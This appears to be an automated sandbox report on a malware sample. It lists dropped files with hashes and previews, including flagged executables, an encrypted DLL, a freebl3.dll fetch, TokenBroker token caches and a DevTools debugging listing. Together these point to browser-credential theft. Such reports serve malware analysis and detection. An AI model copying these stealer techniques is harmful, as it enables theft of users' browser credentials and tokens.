SHA-256:	275ADCF82208B5D5571035B25ECB996040347AEF5AE020AC7497FFB626F6B34C
SHA-512:	B3EB4CA44A64FCCFE53C96989893C4440D842ACC4A290304CF234DCFC6C95A0062F263A4B224E323968A7A90B48502E98CF7E2CD74C3F8C9EACBEB1D7F1677BF
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732829579540573}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a3032c8d-8cd8-4993-b529-864b90f6b21e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46028
Entropy (8bit):	6.087198935913777
Encrypted:	false
SSDEEP:	768:VMkbJrT8IeQc5NnrpPKKGf4mjT0TlEqnFwPEEC9kVCio67DRo+yM/42cRaLMos7x:VMk1rT8Hlnr99aFo67VLyMV/Yosd
MD5:	B58835458D3BD50A4BED3A735CC24AA4
SHA1:	844E5A5F004A83A16E2C3E040787EAAF0C7F6C40
SHA-256:	D995E1E2470B3D7FC91CAEEE196EF2A14B107FE83954E18FFD804E71B25EB169
SHA-512:	01DC70AF081883353D59BFA5264E6BE3566DF3F9290AAA07BF54723329150D131E7E7496EE2E4B1A41186B46DADAC9391ED634B38801920637E475F14632408F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"6edf0c68-8199-4470-95a3-4eeecbb93668"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732728780"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c38dea15-2117-4029-8b7e-1c3f7db4f760.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45951
Entropy (8bit):	6.087266058912124
Encrypted:	false
SSDEEP:	768:VMkbJrT8IeQc5darpPKKGf4mjT0TZEqnFwPEEC9kVCio67DRo+yM/42cRaLMos7x:VMk1rT8H1arh9aFo67VLyMV/Yosd
MD5:	4DE06FE3852B78CF1DF9594130830043
SHA1:	A4EAD58A05B0B8909CE6E59001BE850D6BBEBAD6
SHA-256:	1329EA01729A9514BE07F8D262FA98FDF8557E2FCD7DEA90DF1974359A2A33BF
SHA-512:	5F2C21C5DA9AEF741627E662607CF61260E9CF8768C3E5702F852ADFF9662AFF26B91A7ED2279030E543BF02CA3A4C8EF5F13AFA8332A50976459F091D28C412
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"6edf0c68-8199-4470-95a3-4eeecbb93668"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732728780"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c53f18b8-f668-43b3-8beb-6a21c28adb90.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44691
Entropy (8bit):	6.094620958483295
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k5iKKGf4mjT0T7J0GqFux0UN7DRo+yM/42cRaLMoskU:z/Ps+wsI7ynmN7VLyMV/YoskFoz
MD5:	F4F68F871DF9542313F7B9B461FEC7A1
SHA1:	8FE118040DD960C71B242AE371B0C5175B8A3AB3
SHA-256:	B6CD526F8340E635069137AC79D9BFB94DF452DE091852619502E30849CC5083
SHA-512:	C3986B242C7FE65F38DADBBF8A3DE6EEDD21F049B13A82AFFD3BADF7DA05149540F1CA4651CEECB6741429DEC51C707FA9E5422D2E7741BB4435BE8B91F73AD7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8431980743072316
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxagJxl9Il8uA0y4n3hJVB8baTCSrd1rc:m/g9YCtq8aCSM
MD5:	A8EE3B2FF3A305C93198598770089450
SHA1:	5B5BE7A144BEFD16F40EEC17893A669637DBEF4F
SHA-256:	178A26B2BE1D0167A5957545D0BAC56C35C021C3E81F2725C65784CC85B5ADB0
SHA-512:	ACD9452B749948E3638CBAA00F3D0D1928210358FE79DEE71466833ADEC03AAB9792529691DEDA4E92F108C5679D92578A362C311035604BBC25C31AD658EF87
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.C.k.P.y.P.p.A.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.v.O.2.9.Q.o.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.00204613241478
Encrypted:	false
SSDEEP:	96:7YT8ZsSVi8AUO5Tgc/rvqtHrVEV0JouzkpQcUk:7EjSVdW5j2EVexcUk
MD5:	101E8A35CF92CC79E5598E3BC8E8BE69
SHA1:	25C9B7F4568FEA105E6BF6061B4C8BE8C161AC87
SHA-256:	E4F50A395F08D85ABC0AE7BA8565902B5435ECBDB02959EA546D68F9790BAC00
SHA-512:	20457E770C7CE192961DF2C872C5E1A5676C459AAA69A8560B42628FF3DD8E25D4563F9DA3AE02B56736D3404CD6AD25F97D7D2921546230AAE98FE9C105D00A
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".r.C.A.f.r.v.J.A.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.v.O.2.9.Q.o.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9060233228023957
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xYDli0Jxl9Il8uOHcSaW8c3x2+Z3rIjmm6hrVfQMkr9aYY4d/vc:a+DlNYIDaW8c3xnZsjmXRpYYh
MD5:	3FFB099B739E2445D54A1A8B5F5E8A39
SHA1:	14EF8C5B57CB59761E9CC2A6086C505CC35C5A7A
SHA-256:	08F2CA0A4F92DA894847D8AA6F662F05114EF1A9CE1D30CCAFAEADE26F504F79
SHA-512:	FE5642D163F1CF267A0113FDF792FEB1FACC0AC86A57377C62E33217BACDF17692C32EBDAF772279DAA15F67BBADEC8B5D63EA683E91418D04A90D173D8F3E3F
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".x.7.W.A.3.s.N.f.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.v.O.2.9.Q.o.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\download[1].htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\1009625001\unik.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	1179648
Entropy (8bit):	7.952539474583953
Encrypted:	false
SSDEEP:	24576:Ak1mo+BNEzLPuRxmi+7xJV5GGQoi24PjAFgV8Ieowtmo5C:AkMNEz7gxyN75xmxVFwtmoo
MD5:	D41A6C3375AEB1F267A9B57358761E52
SHA1:	D975B92340F170AC002239D0DFED3C8AAC7E692E
SHA-256:	8A4B5DD08C2637D1210F72BFDAF98EDBA6F3CFD9CF76ADE916D13A4CBC88D7A2
SHA-512:	57006C38613CB11CCEE82B1C692AFDBAD026D1D1CB3CFEC76A6694892437668E91052157E5495C64901C9A798A7B7BE2A230E9C0228A4B8538E8BB1B9CAC80D2
Malicious:	false
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....Eg.............................`J...........@...........................J.....^.....@.................................\...p....p.............................................................................................................. . .`.......\..................@....rsrc........p.......l..............@....idata .............n..............@... ..*..........p..............@...avuktrbe.....P0......r..............@...hcoakmjd.....PJ......f..............@....taggant.0...`J.."...l..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\unik[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2014720
Entropy (8bit):	7.946962527584312
Encrypted:	false
SSDEEP:	49152:xT7V7aiv8oJeSQgfUJqpTXzDlI3afSPp+qJMvuekig:97LDerYyafSPpa6
MD5:	8D4744784B89BF2C1AFFB083790FDC88
SHA1:	D3F5D8D2622B0D93F7CE5B0DA2B5F4ED439C6EC5
SHA-256:	D6A689C92843FCE8CBD5391511ED74F7E9B6EB9DF799626174A8B4C7160BEA75
SHA-512:	B3126463C8D5BB69A161778E871928DC9047B69BFCB56B1AF91342034A15E03A1E5A0CCEA4BA7334A66A361842E8241046E00500626613A00CB5BEC891436641
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 24%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........RC..<...<...<......<......<.....<..~G...<...=.3.<......<......<......<.Rich..<.........PE..L....[.d.................\|...........pK...........@...........................K.............................................[...o....`..4....................................................$K..................................................... . .P..........................@....rsrc...4....`...<..................@....idata ............................@... ..).........................@...qsywaako......0.....................@...uxjqxqlj.....`K.....................@....taggant.0...pK.."..................@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\add[1].htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\1009625001\unik.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\download[1].htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\1009625001\unik.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4424704
Entropy (8bit):	7.987240005151767
Encrypted:	false
SSDEEP:	98304:SGVgRaP3ejlAv/aKTtK3DmGIfoJRZKucxifWU:8RaOs/aKT4ydAJRwhw3
MD5:	748842603D32E03ECDDF19F9DD75EB1D
SHA1:	9BBD1D04B75635BB02ACB77675A192DE56BCB752
SHA-256:	5FA1E891BD97119CAAABA3F4DE500D6E6828B6030D4F6B2A56F5AC998BEB4FB1
SHA-512:	51913A45EF82243C84087CB597DCE2138831330C08D2F65D06949E22F8E26CB8E6C3371E5FD45DE9B6DA6FF3FD0A54814F15E5911490F2934773DC09F5F918EE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 26%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...%.Eg...............(.NK..:v..2...........`K...@.................................]zD...@... ............................._.s.s.....s.....................@................................~...................................................... . ..s......6(.................@....rsrc.........s......F(.............@....idata ......s......H(.............@... ..7...s......J(.............@...eavnjjhw. ...p.......L(.............@...kvnmziai.............^C.............@....taggant.0......."...bC.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\fuckingdllENCR[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1009625001\unik.exe
File Type:	data
Category:	dropped
Size (bytes):	97296
Entropy (8bit):	7.9982317718947025
Encrypted:	true
SSDEEP:	1536:A1FazaNKjs9ezO6kGnCRFVjltPjM9Ew1MhiIeJfZCQdOlnq32YTCUZiyAS3tUX9F:k4zaMjVUGCRzbgqw1MoIeJyQ4nyqX9F
MD5:	E6743949BBF24B39B25399CD7C5D3A2E
SHA1:	DBE84C91A9B0ACCD2C1C16D49B48FAEAEC830239
SHA-256:	A3B82FC46635A467CC8375D40DDBDDD71CAE3B7659D2BB5C3C4370930AE9468C
SHA-512:	3D50396CDF33F5C6522D4C485D96425C0DDB341DB9BD66C43EAE6D8617B26A4D9B4B9A5AEE0457A4F1EC6FAC3CB8208C562A479DCAE024A50143CBFA4E1F15F6
Malicious:	false
Preview:	XM .4Ih..]...t.&.s...v.0{.v.vs'...:.l.h...e.....R....1...r.R+Fk....~.s.....Q.....r.T.b.....~c..[........;...j.@.0.%.....x...v.w.....<ru....Yre;.b6...HQ-...8.B..Q.a...R.:.h&r.......=.;r.k..T.@....l..;#..3!.O..x.}........y'<.GfQ.K.#.L5v..].......d....N{e..@................A\..<.t.u.X.O.n..Z.. .Xb.O<.Z...h~.(.W.f.z.V.4..L...%5.0...H..`s...y.B......(IL5s:aS}X.......M9.J.o....).'..M;n6]...W..n....)...L...._..e.....>....[....RA.........'...6.N..g6....IY.%h.. 3r....^..\.b~y./....h.2......ZLk....u}..V..<.fbD.<!.._2.zo..IE...P..O...u......P.......w#.6N..&l.R}GI...LY...N.yz..j..Hy.'..._.5..Pd9.y..+....6.q...).G.c...L#....5\.M....5U])....U(..~H.m....Y....G1.r.4.B..h........P..]i...M%.............)q......]....~\|..j...b..K!..N.7R.}T.2bsq..1...L^..!.\|q.D'...s.Ln...D@..bn%0=b.Q1.....+l...QXO\|.......NC.d......{.0....8F.....<.W.y..{o..j.3.....n..4.....eS]. K...o.B.H~.sh.1....m8....6{.ls..R..q..~....w._;....X*.#..U....6n.ODbT.+Zc....q....S.$-S`YT....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.387587661085
Encrypted:	false
SSDEEP:	96:6NnQstZHQs+NnQTfgbQTrXNnQ09QeNnQUi7dgEQUlNnQsQlNnQQDQVNnQgwQONn6:6NLt1+NUfZrXNfNZi7/lNuNdKNH6N72
MD5:	B74C052934294A061274489817F8AF07
SHA1:	D4929D2FDE22B7F43FDF248EFF26B525B0DA9A62
SHA-256:	1D9F50DFEDE7DA226F2D626F917FC6DCE239A97C0EF0FD125E828B95D2FFA71B
SHA-512:	6CF0026D944142216179AFFDA9909A13CB6B230AF2324E523A2B01E7DF31B0EE735A80E7A3FAC5E2D71E7451A11CC0CD4EBBE08FA776F0D534C1CDEF5A220297
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/69E552FEEF642D69CA25183DAD5ED21F",.. "id": "69E552FEEF642D69CA25183DAD5ED21F",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/69E552FEEF642D69CA25183DAD5ED21F"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/07E24442B0C781A42BF2172A5964D247",.. "id": "07E24442B0C781A42BF2172A5964D247",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/07E24442B0C781A42BF2172A5964D247"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\download[1].htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\1009625001\unik.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
